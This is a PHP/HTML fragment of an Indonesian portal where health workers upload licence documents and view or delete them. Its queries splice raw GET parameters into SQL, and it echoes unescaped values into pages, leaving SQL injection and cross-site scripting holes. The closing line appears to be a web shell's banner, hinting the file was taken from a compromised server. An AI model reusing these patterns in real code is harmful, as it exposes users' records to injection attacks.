	 if ($klinik =='klinik' || $rs=='rumah_sakit'){						 



?>











<tr>



		<td data-header="No" class="title"></td>



		<td data-header="Jenis Berkas" > <form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">



	



		<input type="checkbox" name="nm_surat" value="37" checked >- Softcopy (berwarna/sesuai asli) surat izin Operasional (SIO) Fasilitas Pelayanan Kesehatan bukan hanya klinik, namun Klinik Radiologi, Laboratorium, atau perpanjangan izin Fasilitas kesehatan dan Puskesmas. <br><br>	



		



    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />    



					<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



					<input name="nourut" type = "hidden" readonly class="form-control"  value="15"  />



    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



    <br>



		



    <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



    <br>



		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



    </form>



    <br/>                                                                                                                                  </td>







				 <td>



					 



			 <?php



      //require 'config.php';



      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='15'  order by nourut ") or die(mysqli_error());



       $no = 1;



	   $total2=0;



	    while($fetch = $row->fetch_array()){



		  



		$potong_kalimat = substr($fetch['file'],-4);



       



		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



		  $nourut2= $fetch['nourut'];  



	   $pdf=$fetch['file'];



       ?>



      



        <?php 



        $name = explode('/', $fetch['file']);



        ?>			 



					 



					 



					 



					 



					 



		 <?php 



		  if ($nourut2=='15'){



		  



		  ?>



		  



		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	



		



			 <?php 



			if ($potong_kalimat==".pdf"){



			?>	



			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="350"></embed></div>	



			 <?php	



			}else{



			?>	



			



		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



			 <?php	



			}



			?>







						 <br>  



						  <br>  



						 Berhasil di Upload</td>



		 <?php	







						  }



						?>	











	  



	  <td>



		   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>











	 <?php 



		 }



		  ?>



</tr>















<tr>



		<td data-header="No" class="title"></td>



		<td data-header="Jenis Berkas" > <form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">



	



		<input type="checkbox" name="nm_surat" value="37" checked >- Softcopy (berwarna/sesuai asli) surat keterangan  bekerja di klinik untuk praktek di Klinik/RS<br><br>	



		



    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />    



					<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



					<input name="nourut" type = "hidden" readonly class="form-control"  value="16"  />



    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



    <br>



		



    <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



    <br>



		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



    </form>



    <br/>                                                                                                                                  </td>







				 <td>



					 



			 <?php



      //require 'config.php';



      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='16'  order by nourut ") or die(mysqli_error());



       $no = 1;



	   $total2=0;



	    while($fetch = $row->fetch_array()){



		  



		$potong_kalimat = substr($fetch['file'],-4);



       



		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



		  $nourut2= $fetch['nourut'];  



	   $pdf=$fetch['file'];



       ?>



      



        <?php 



        $name = explode('/', $fetch['file']);



        ?>			 



					 



					 



					 



					 



					 



		 <?php 



		  if ($nourut2=='16'){



		  



		  ?>



		  



		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	



		



			 <?php 



			if ($potong_kalimat==".pdf"){



			?>	



			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="350"></embed></div>	



			 <?php	



			}else{



			?>	



			



		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



			 <?php	



			}



			?>







						 <br>  



						  <br>  



						 Berhasil di Upload</td>



		 <?php	







						  }



						?>	











	  



	  <td>



		   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>











	 <?php 



		 }



		  ?>



</tr>



























<?php 



		   //akhir perihal pribadi



		 }



		  ?>







 <?php	   



	 if ($status <>'rekom_baru'){						 



?>



	<tr>



				<td data-header="No" class="title"></td>



				<td data-header="Jenis Berkas" >



					    <form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">



	



		<input type="checkbox" name="nm_surat" value="14" checked > Softcopy (berwarna/sesuai asli) SIP yang sudah dimiliki SIP 1, 2 dan 3.    



						<b>Untuk Pengajuan SIP 2 :</b><br>



						- Wajib untuk upload Softcopy (berwarna/sesuai asli) SIP  1.<br><br>



						



						<b>Untuk Pengajuan SIP  3 :</b><br>



						- Wajib untuk upload Softcopy (berwarna/sesuai asli) SIP 1 dan SIP 2. <br><br>







						*(dokumen yag lebih dari 1 Softcopy, bisa disatukan Upload dalam file pdf)



					



    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />



	<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



	<input name="nourut" type = "hidden" readonly class="form-control"  value="2"  />



    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



    <br>	



			



		 <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



    <br>



		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



    </form>



    <br/>  



				



				</td>



				<td data-header="Keterangan" >



				



				



					 



			 <?php



      //require 'config.php';



      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='2' order by nourut ") or die(mysqli_error());



       $no = 1;



	   $total2=0;



	    while($fetch = $row->fetch_array()){



		  



		$potong_kalimat = substr($fetch['file'],-4);



       



		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



		  $nourut3= $fetch['nourut'];  



	   $pdf=$fetch['file'];



       ?>



      



        <?php 



        $name = explode('/', $fetch['file']);



        ?>			 



					 



					 



					 



					 



					 



		 <?php 



		  if ($nourut3=='2'){



		  



		  ?>



		  



		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	



		



			 <?php 



			if ($potong_kalimat==".pdf"){



			?>	



			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="350"></embed></div>	



			 <?php	



			}else{



			?>	



			



		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



			 <?php	



			}



			?>







						 <br>  



						  <br>  



						 Berhasil di Upload</td>



 					<?php	



					  }



					 ?>	











	  



	  <td>



		   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>



	 <?php 



		 }



		  ?>		



	</tr>







<?php 



		   //akhir perihal pribadi



		 }



		  ?>







		</tbody>



	</table>   



<br><br><br>



<br>







			<br>	  



  	



 	



	   



                  </p>







</p>



</div>



   



			



	<h4>Upload Dokumen jika tidak ada didalam List dan wajib disertakan sebagai syarat disini:</h4>



    - Ukuran File Maximal: 3 MB.<br> 



	- Dokument Softcopy dalam bentuk gambar jpg, jpeg, png atau pdf. <br>  



	- Penamaan dokumen sesuai Judul syarat dokumen yg di upload Contoh: ktp.jpg, SIP.png, dst 



	 	<br>  



    <form name="form" enctype="multipart/form-data" action="upload_reg2.php" method="POST">



		 </p>



	   <label for="nmlead">Nama Jenis Dokumen : </label><br>



	 <input name="nm_surat" type = "text" placeholder="Isi Nama Jenis Dokumen" class="form-control"  value=""  />	



			<p/>



    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />    <input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



   <br>



		Pilih File: 



		<br><br>



		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



    <br>







		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



    </form>



<br/><br/>		



			



	



</div></div></div></div></div>



			



<div class="">			







<?php



	 $hari = date('Y-m-d');



	$sqlSiswa = mysqli_query($konek, "SELECT count(noreg) as jumlah FROM file WHERE file.npm='$_GET[npm]' AND file.noreg='$_GET[noreg]'");



	$ds=mysqli_fetch_array($sqlSiswa);



	$jumlah= $ds['jumlah'];



		



		



	$hobi = explode(",", $data['dokumen']);



        //  $query=mysql_query("INSERT INTO siswa(nama, hobi) VALUES('$nama','$hobi')"); 







$jumlahup = count($hobi);



// echo   $jumlahup;		



		



    ?>



	<h4 align="center">Tabel Data Dokumen yg Sudah di Upload</h4></center>



		<br>



	<?php if ( $jumlah<$jumlahup){



	



							echo "



							<div class='alert alert-warning'>



								<span class='glyphicon glyphicon-info-sign'></span> Dokumen telah di upload : <span style='color:red'> $jumlah</span> Masih kurang ddari $jumlahup Dokumen !!



								<span class='pull-right'> <span style='color:red'>Upload sisa Dokumen </span><i class='fa fa-angle-double-right'></i></span>



							</div>";	



							}



					?>







   



  <table  class="demo-table responsive" >



    <thead>



      <tr>  



         <th>No</th>



		 <th width="200">Surat</th>



         <th width="350">Dokumen</th>



		 <th>Validasi1</th>



		 <th>Notif dari Admin</th>



         <th>Delete</th>



      </tr>



    </thead>



    <tbody class="alert-success">



      <?php



      //require 'config.php';



      $row = $konek->query("SELECT *,count( file_id) as jumlah  FROM file WHERE noreg='$_GET[noreg]' and nourut='' group by file_id ") or die(mysqli_error());



       $no = 1;



	   $total2=0;



	  while($fetch = $row->fetch_array()){



		  



		$potong_kalimat = substr($fetch['file'],-4);



       



		  



		  



	   $pdf=$fetch['file'];



       ?>



       <tr>



        <?php 



        $name = explode('/', $fetch['file']);



        ?>



        <td><?php echo $no ?></td>



		<td><?php echo $fetch['nmsurat']?></td>



        <td><a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	



		



			 <?php 



			if ($potong_kalimat==".pdf"){



			?>	



			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="350"></embed></div>	



			 <?php	



			}else{



			?>	



			



			  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/>



			 <?php	



			}



			?>







						 <br>  



						  <br>  



						 Untuk Perbesar gambar Click: <?php echo $fetch['nmfile']; ?> </td>



  		



		   <td><span class='merah'><?php echo $fetch['status']?></span></td>







		   <td><?php echo $fetch['note1']?></td>



	



   		   <td>



		   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>



		   



    











      </tr>



      <?php



	   $no++;



	   



	   //  $jumlah= $fetch['jumlah'];



	    



	  //   $total2 += $fetch['jumlah'];  



    }



	



    //		  $selisih =  $jumlahup-$total2 ;



		  ?>



	



	



										







	  </tr>



  </tbody>



</table>



		</td></tr>



 <br/>



		



		



</br>



</div>



</div>







<?php







 $data = mysqli_query($konek, "SELECT * FROM h_anggota WHERE npm='$_GET[npm]' " );



			      $d=mysqli_fetch_array($data);



	



	$pengurus=$d['pengurus'];



				  















				if ($perihal=='mutasi'||$perihal=='kehilangan'||$pengurus=='1'){



?>



	 <div align="center"><a class='btn btn-warning btn-sm' href='status.php?npm=<?php echo $_GET['npm']; ?>&noreg=<?php echo $noreg ?>'>Selesai cek Status</a>



	  



 <?php



 }else{



	 ?>



	 



	   <div align="center"><a class='btn btn-warning btn-sm' href='reg_status3.php?npm=<?php echo $_GET['npm']; ?>&noreg=<?php echo $noreg ?>'><h4>Click Lanjut Tahap IV Proses Administrasi</h4></a>



	<?php				 



 }







 ?>







		 </div>











								



								



                             



                            </div>



</body>



</html>

Youez - 2016 - github.com/yon3zu
LinuXploit